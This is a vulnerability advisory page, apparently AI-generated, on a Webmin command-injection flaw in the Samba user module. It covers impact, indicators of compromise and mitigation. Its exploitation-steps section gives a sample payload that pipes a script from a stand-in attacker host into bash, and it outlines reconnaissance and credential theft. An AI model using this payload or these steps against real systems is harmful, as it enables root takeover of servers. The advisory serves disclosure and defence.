Vulnerability DatabaseCVE-2026-125391

CVE-2026-125391: 
Webmin vulnerability analysis and mitigation

Overview

CVE-2026-125391 is an OS command injection vulnerability in Webmin through version 2.670, located in the samba/save_euser.cgi component (specifically samba/samba-lib.pl). It allows authenticated Samba user maintainers to inject arbitrary OS commands via an unvalidated opts parameter passed to backquote_logged, ultimately executing commands as root. The vulnerability was published on November 10, 2026, and a patch was made available the same day. It carries a CVSS v3.1 base score of 7.2 (High) and a CVSS v4.0 base score of 8.6 (High) (Github Advisory, Feedly).

Technical details

The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command). In samba/samba-lib.pl at line 658 (version 2.670), the opts parameter — representing Samba account option flags — is concatenated directly into shell commands passed to backquote_logged in both the create_user and modify_user functions, without proper sanitization or quoting (Webmin Source). An attacker with Samba user maintainer privileges can embed shell metacharacters (e.g., backticks, semicolons, $()) in account option flags submitted via the samba/save_euser.cgi CGI script, causing arbitrary command execution as root. The fix applies Perl's quotemeta() around the assembled options string before it is passed to the shell (Webmin Commit).

Impact

Successful exploitation grants the attacker root-level command execution on the Webmin host, resulting in complete compromise of confidentiality, integrity, and availability of the affected system. An attacker can read or exfiltrate sensitive system files, modify configurations, install backdoors, or disrupt services. Because Webmin typically manages critical server infrastructure, a compromised instance can serve as a pivot point for lateral movement within the network (Github Advisory, Feedly).

Exploitability

As of the time of disclosure, there is no public proof-of-concept exploit and no evidence of in-the-wild exploitation (Feedly). The vulnerability requires high privileges (authenticated Samba user maintainer role), which limits the attack surface. The EPSS score is approximately 1.696% (78th percentile), indicating a moderate probability of exploitation within 30 days relative to other vulnerabilities (Github Advisory). The CVE status is listed as "Deferred" and it is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been reported.

Exploitation steps

  1. Reconnaissance: Identify internet-facing or network-accessible Webmin instances running version 2.670 or earlier using tools like Shodan, Censys, or network scanning (default Webmin port: 10000/TCP).
  2. Obtain Samba maintainer credentials: Acquire valid credentials for an account with Samba user maintainer privileges in Webmin — either through credential theft, phishing, or abuse of a legitimately provisioned account.
  3. Authenticate to Webmin: Log in to the Webmin web interface using the obtained credentials.
  4. Navigate to Samba user management: Access the Samba module and initiate a create or modify user action, which triggers samba/save_euser.cgi.
  5. Inject malicious payload: In the account option flags field (the opts parameter), embed shell metacharacters or command substitution syntax (e.g., `id > /tmp/pwned` or $(curl attacker.com/shell.sh | bash)) to break out of the intended command context.
  6. Achieve root command execution: The injected payload is passed unsanitized to backquote_logged within create_user or modify_user, causing the Webmin process (running as root) to execute the attacker's arbitrary OS commands (Webmin Source, Webmin Commit).

Indicators of compromise

  • Network: Unexpected outbound connections from the Webmin server to external IPs, particularly following Samba user create/modify actions; HTTP POST requests to /samba/save_euser.cgi with anomalous or encoded opts parameter values.
  • Logs: Webmin access logs showing POST requests to samba/save_euser.cgi with unusual option flag values; system auth logs showing unexpected root-level process execution originating from the Webmin process.
  • File System: Unexpected new files in /tmp, /var/tmp, or web-accessible directories (e.g., web shells); new cron jobs, SSH authorized keys, or SUID binaries created after Samba user management activity.
  • Process: Unusual child processes spawned by the Webmin Perl process (e.g., /bin/bash, curl, wget, python, nc) with root privileges; unexpected pdbedit invocations with anomalous arguments visible in process listings.

Mitigation and workarounds

Upgrade Webmin to a version newer than 2.670, which includes the fix that applies quotemeta() to the assembled Samba account options string before shell execution (Webmin Commit). As a workaround, restrict the Samba user maintainer role to only fully trusted administrators, minimizing the number of accounts that can reach the vulnerable functionality. Additionally, implement network segmentation and firewall rules to limit access to the Webmin administration interface (port 10000/TCP) to trusted management networks only (Github Advisory).

Additional resources


Source: This report was generated using AI

Related Webmin vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-126780HIGH8.6
  • Webmin logoWebmin
  • cpe:2.3:a:webmin:webmin
NoNoNov 11, 2026
CVE-2026-125391HIGH8.6
  • Webmin logoWebmin
  • cpe:2.3:a:webmin:webmin
NoNoNov 10, 2026
CVE-2026-126781HIGH7.7
  • Webmin logoWebmin
  • cpe:2.3:a:webmin:webmin
NoNoNov 11, 2026
CVE-2026-125392MEDIUM5.1
  • Webmin logoWebmin
  • cpe:2.3:a:webmin:webmin
NoNoNov 10, 2026
CVE-2026-124552MEDIUM4.8
  • Webmin logoWebmin
  • cpe:2.3:a:webmin:webmin
NoNoNov 08, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management